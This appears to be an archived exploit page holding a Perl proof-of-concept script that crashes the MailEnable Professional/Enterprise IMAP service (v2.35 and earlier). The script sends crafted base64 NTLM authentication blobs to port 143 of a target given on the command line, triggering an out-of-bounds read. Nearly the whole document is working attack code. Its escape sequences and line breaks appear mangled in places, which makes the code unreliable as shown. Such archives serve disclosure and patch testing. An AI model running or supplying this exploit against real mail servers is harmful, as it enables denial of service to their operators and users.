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maildisable-v5.pl.txt

Posted on 15 February 2007

#!/usr/bin/perl
#
# maildisable-v5.pl
#
# Mail Enable Professional/Enterprise <=v2.35 (win32)
# by mu-b - Wed Nov 29 2006
#
# - Tested on: Mail Enable Professional v2.32 (win32) - with HOTFIX
#              Mail Enable Professional v2.33 (win32)
#              Mail Enable Professional v2.34 (win32)
#              Mail Enable Professional v2.35 (win32)
#
# out of bounds read == DoS
#
########

use Getopt::Std; getopts('t:', \%arg);
use Socket;
use MIME::Base64;

&print_header;

my $target;

if (defined($arg{'t'})) { $target = $arg{'t'} }
if (!(defined($target))) { &usage; }

my $imapd_port = 143;
my $send_delay = 2;

my $PAD = 'A';

if (connect_host($target, $imapd_port)) {
print("-> * Connected
");
send(SOCKET, "1 AUTHENTICATE NTLM
", 0);
sleep($send_delay);

$buf = ($PAD x 12).
"xfaxffxffxff".
($PAD x 12);
send(SOCKET, encode_base64($buf)."
", 0);
sleep($send_delay);

$buf = ($PAD x 28).
"x00x01".
($PAD x 2).
"xefxbexadxde";
send(SOCKET, encode_base64($buf)."
", 0);
sleep($send_delay);

print("-> * Successfully sent payload!
");
}

sub print_header {
print("MailEnable Pro <=v2.36 DoS POC
");
print("by: <mu-b@digit-labs.org>

");
}

sub usage {
print(qq(Usage: $0 -t <hostname>

-t <hostname>    : hostname to test
));

exit(1);
}

sub connect_host {
($target, $port) = @_;
$iaddr  = inet_aton($target)                 || die("Error: $!
");
$paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!
");
$proto  = getprotobyname('tcp')              || die("Error: $!
");

socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!
");
connect(SOCKET, $paddr)                      || die("Error: $!
");
return(1338);
}

 

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